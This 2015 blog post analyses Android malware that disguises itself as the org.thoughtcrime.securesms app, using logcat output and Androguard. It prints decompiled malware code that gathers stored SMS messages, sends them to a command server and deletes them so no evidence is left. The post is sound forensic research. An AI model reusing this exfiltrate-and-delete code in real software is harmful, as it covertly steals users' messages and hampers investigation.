Tuesday, October 27, 2015

Performing forensic on SMS (Short Message Service)

One of the things I really find interesting when performing malware analysis on Android is the information from logcat. With logcat you can spot lot of things which are difficult to spot via other media. Like for example, the messages (Short Message Service) sent via GSM (unless you have your own fake base station with openBTS).

There is a bunch of malware for Android which abuse SMS. As an example: malware which subscribes to premium SMS services or malware which use the GSM network as C&C via SMS.


We saw that the malware analysed in previous post (c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349) can communicate with the C&C via HTTP, but also it can send and receive C&C commands via SMS (this will be analysed in future posts). All this C&C sent/received messages sent by the malware are totally stealth for the user, which makes difficult to figure out what's going one. But looking in the logs, we can see that something is going on:
......
D/GsmInboundSmsHandler( 1207): successful broadcast, deleting from raw table.
D/GsmInboundSmsHandler( 1207): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1207): ordered broadcast completed in: 72 ms
D/GsmInboundSmsHandler( 1207): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Delivering state
D/GsmInboundSmsHandler( 1207): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Idle state
D/RILC    (  187): RequestComplete, RIL_SOCKET_
E/RILC    (  187): Send Response to RIL_SOCKET_1
D/RILJ    ( 1207): [4189]< SMS_ACKNOWLEDGE  [SUB0]
D/GsmInboundSmsHandler( 1207): IdleState.processMessage:5
D/GsmInboundSmsHandler( 1207): Idle state processing message type 5
D/GsmInboundSmsHandler( 1207): mWakeLock released
D/RILC    (  187): RequestComplete, RIL_SOCKET_1
E/RILC    (  187): Send Response to RIL_SOCKET_1
D/RILJ    ( 1207): [4190]< SEND_SMS { mMessageRef = 33, mErrorCode = -1, mAckPdu = null} [SUB0]
D/PHONE   ( 1184): [ServiceState] setNullState=1
I/RILC    (  186): RIL_SOCKET_1 UNSOLICITED: UNSOL_RESPONSE_NEW_SMS length:192
E/RILC    (  186): Send Response to RIL_SOCKET_1
D/RILJ    ( 1184): [UNSL]< UNSOL_RESPONSE_NEW_SMS [SUB0]
D/GsmInboundSmsHandler( 1184): IdleState.processMessage:1
D/GsmInboundSmsHandler( 1184): Idle state processing message type 1
D/GsmInboundSmsHandler( 1184): acquired wakelock, leaving Idle state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:1
D/GsmInboundSmsHandler( 1184): URI of new row -> content://raw/1
D/RILJ    ( 1184): [3962]> SMS_ACKNOWLEDGE true 0 [SUB0]
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:2
D/GsmInboundSmsHandler( 1184): Delivering SMS to: org.thoughtcrime.securesms org.thoughtcrime.securesms.service.SmsListener
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:4
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/RILC    (  186): RequestComplete, RIL_SOCKET_1
E/RILC    (  186): Send Response to RIL_SOCKET_1
D/RILJ    ( 1184): [3962]< SMS_ACKNOWLEDGE  [SUB0]
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/GsmInboundSmsHandler( 1184): successful broadcast, deleting from raw table.
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils(  778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils(  778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/GsmInboundSmsHandler( 1184): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1184): ordered broadcast completed in: 172 ms
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Idle state
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils(  778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils(  778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler 

So basically the SMS is received as seen in the logs. Then it is delivered to the application org.thoughtcrime.securesms and finally the message is delete from the database so no evidence is left in the phone, ver clever technique!

Looking at the code with Androguard, I can see a suspicious method which deletes message:

In [3]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_j.source()
public static void j(android.content.Context p6)
    {
        android.database.sqlite.SQLiteDatabase v2 = new org.thoughtcrime.securesms.h.b(p6).getWritableDatabase();
        String v0_2 = new String[0];
        String v1_1 = v2.rawQuery("SELECT _id, msgdata, sended FROM messages WHERE sended=0", v0_2);
        String v0_3 = "";
        if ((v1_1 != null) && (v1_1.moveToFirst())) {
            do {
                if (v0_3.length() > 0) {
                    v0_3 = new StringBuilder().append(v0_3).append("$$$###\n").toString();
                }
                v0_3 = new StringBuilder().append(v0_3).append(v1_1.getString(1)).toString();
            } while(v1_1.moveToNext());
        }
        if (v0_3.length() > 0) {
            try {
                String v0_8 = org.thoughtcrime.securesms.h.c.a(p6).a("sms", v0_3);
            } catch (String v0_9) {
                v0_9.printStackTrace();
                v0_8 = "";
            }
            if (v0_8.trim().equals("OK")) {
                String[] v3_11 = new String[0];
                v2.delete("messages", "sended=0", v3_11);
            }
        }
        v2.close();
        return;

    }

As this is done at the SQLite data base level is very difficult to recover those messages with traditional mobile forensic techniques. Besides, this malware uses its own data base:

/data/data/org.thoughtcrime.securesms/databases $# ls -l
-rw-rw---- u0_a97   u0_a97      16384 2015-10-27 09:43 canonical_address.db
-rw------- u0_a97   u0_a97       8720 2015-10-27 09:43 canonical_address.db-journal
-rw-rw---- u0_a97   u0_a97     102400 2015-10-27 09:43 messages.db
-rw------- u0_a97   u0_a97       8720 2015-10-27 09:43 messages.db-journal
-rw-rw---- u0_a97   u0_a97      20480 2015-10-27 09:43 test
-rw------- u0_a97   u0_a97       8720 2015-10-27 09:43 test-journal 



Recovering a deleted data base

If the SMS are not deleted through a SQLite query, but through the GUI interface, the messages can be easily recovered. For example, with the 'AF Logical OSE' tool from Viaforensic.